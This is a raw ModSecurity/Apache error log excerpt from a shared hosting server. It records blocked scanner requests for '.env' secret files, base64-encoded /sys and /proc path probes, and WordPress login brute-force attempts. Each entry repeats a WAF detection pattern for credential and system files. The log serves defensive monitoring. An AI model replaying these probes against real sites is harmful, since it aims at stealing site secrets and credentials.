648381] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/redmine/.env"] [unique_id "ai3zQFWSojQL4F7upKBrpQAAAKE"] [Sat Jun 13 18:18:08.148505 2026] [security2:error] [pid 646876:tid 646930] [remote 17.22.245.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQNyTkdrNlD40tSGz8QAAETM"] [Sat Jun 13 18:18:08.159034 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/repo/.env"] [unique_id "ai3zQFWSojQL4F7upKBrqgAAAIk"] [Sat Jun 13 18:18:08.162210 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8xL2lk [Sat Jun 13 18:18:08.162631 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8xL2lk [Sat Jun 13 18:18:08.296303 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/repos/.env"] [unique_id "ai3zQFWSojQL4F7upKBrsQAAALU"] [Sat Jun 13 18:18:08.406822 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.9:22936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:08.407098 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.9:22936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:08.433819 2026] [security2:error] [pid 648189:tid 648365] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/repository/.env"] [unique_id "ai3zQFWSojQL4F7upKBrswAAAJE"] [Sat Jun 13 18:18:08.495148 2026] [security2:error] [pid 648189:tid 648434] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug27780.phpt"] [unique_id "ai3zQFWSojQL4F7upKBrtgAAANU"] [Sat Jun 13 18:18:08.543542 2026] [security2:error] [pid 648189:tid 648236] [remote 109.123.245.70:59566] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/wp-login.php"] [unique_id "ai3zQFWSojQL4F7upKBrtwAAjA8"] [Sat Jun 13 18:18:08.546102 2026] [security2:error] [pid 646876:tid 646973] [remote 220.181.108.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQNyTkdrNlD40tSGz_gAAU14"] [Sat Jun 13 18:18:08.571041 2026] [security2:error] [pid 648189:tid 648408] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resources/.env"] [unique_id "ai3zQFWSojQL4F7upKBruQAAALs"] [Sat Jun 13 18:18:08.614660 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:08.615089 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:08.709196 2026] [security2:error] [pid 648189:tid 648361] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resources/docker/.env"] [unique_id "ai3zQFWSojQL4F7upKBrvQAAAI0"] [Sat Jun 13 18:18:08.759921 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.76:63713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:08.760306 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.76:63713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:08.839988 2026] [security2:error] [pid 648189:tid 648431] [client 192.178.6.39:59191] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zQFWSojQL4F7upKBrwgAAANI"] [Sat Jun 13 18:18:08.845659 2026] [security2:error] [pid 648189:tid 648449] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resources/docker/mysql/.env"] [unique_id "ai3zQFWSojQL4F7upKBrwwAAAOM"] [Sat Jun 13 18:18:08.877084 2026] [security2:error] [pid 646876:tid 646981] [remote 216.73.216.223:38812] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zQNyTkdrNlD40tSG0CAAARmY"] [Sat Jun 13 18:18:08.908441 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.15:43913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:08.908896 2026] [access_compat:error] [pid 648189:tid 648287] [remote 57.141.14.15:43913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:09.000708 2026] [security2:error] [pid 648189:tid 648425] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resources/docker/phpmyadmin/.env"] [unique_id "ai3zQFWSojQL4F7upKBrzQAAAMw"] [Sat Jun 13 18:18:09.118874 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:18:09.119129 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:18:09.134155 2026] [security2:error] [pid 648189:tid 648270] [remote 17.246.15.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQVWSojQL4F7upKBr1AAA5TA"] [Sat Jun 13 18:18:09.138561 2026] [security2:error] [pid 648189:tid 648367] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resources/docker/rabbitmq/.env"] [unique_id "ai3zQVWSojQL4F7upKBr1QAAAJM"] [Sat Jun 13 18:18:09.184438 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.47:33796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:09.184725 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.47:33796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:09.276093 2026] [security2:error] [pid 648189:tid 648376] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resources/docker/rediscommander/.env"] [unique_id "ai3zQVWSojQL4F7upKBr2gAAAJw"] [Sat Jun 13 18:18:09.414670 2026] [security2:error] [pid 648189:tid 648362] [client 185.177.72.9:31136] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/resourcesync/.env"] [unique_id "ai3zQVWSojQL4F7upKBr4AAAAI4"] [Sat Jun 13 18:18:09.513439 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.83:45610] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:09.513703 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.83:45610] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:09.551802 2026] [security2:error] [pid 648189:tid 648394] [client 185.177.72.9:31136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/rest.php"] [unique_id "ai3zQVWSojQL4F7upKBr6QAAAK4"] [Sat Jun 13 18:18:09.558442 2026] [security2:error] [pid 648189:tid 648265] [remote 109.123.245.70:59566] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.245.123.109.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/wp-login.php"] [unique_id "ai3zQVWSojQL4F7upKBr6gAAhis"], referer: https://onemontgomerygreen.org/wp-login.php [Sat Jun 13 18:18:09.697420 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:09.697894 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:09.822800 2026] [security2:error] [pid 646876:tid 647060] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rest/.env"] [unique_id "ai3zQdyTkdrNlD40tSG0HAAAADQ"] [Sat Jun 13 18:18:09.863412 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.17:26030] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:09.863698 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.17:26030] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:09.961467 2026] [security2:error] [pid 646876:tid 647035] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/restapi/.env"] [unique_id "ai3zQdyTkdrNlD40tSG0IQAAABs"] [Sat Jun 13 18:18:09.994142 2026] [access_compat:error] [pid 648189:tid 648327] [remote 74.7.242.16:38922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:09.994601 2026] [access_compat:error] [pid 648189:tid 648327] [remote 74.7.242.16:38922] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:10.031091 2026] [security2:error] [pid 646876:tid 646940] [remote 50.87.144.107:48266] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "eccl.co.uk"] [uri "/wp-login.php"] [unique_id "ai3zQtyTkdrNlD40tSG0JAAAcT0"] [Sat Jun 13 18:18:10.063340 2026] [security2:error] [pid 648189:tid 648257] [remote 67.205.20.116:44948] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.20.205.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.sandra-cooper.com"] [uri "/xmlrpc.php"] [unique_id "ai3zQlWSojQL4F7upKBr_QABBCM"] [Sat Jun 13 18:18:10.063706 2026] [security2:error] [pid 648189:tid 648486] [client 67.205.20.116:44948] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data 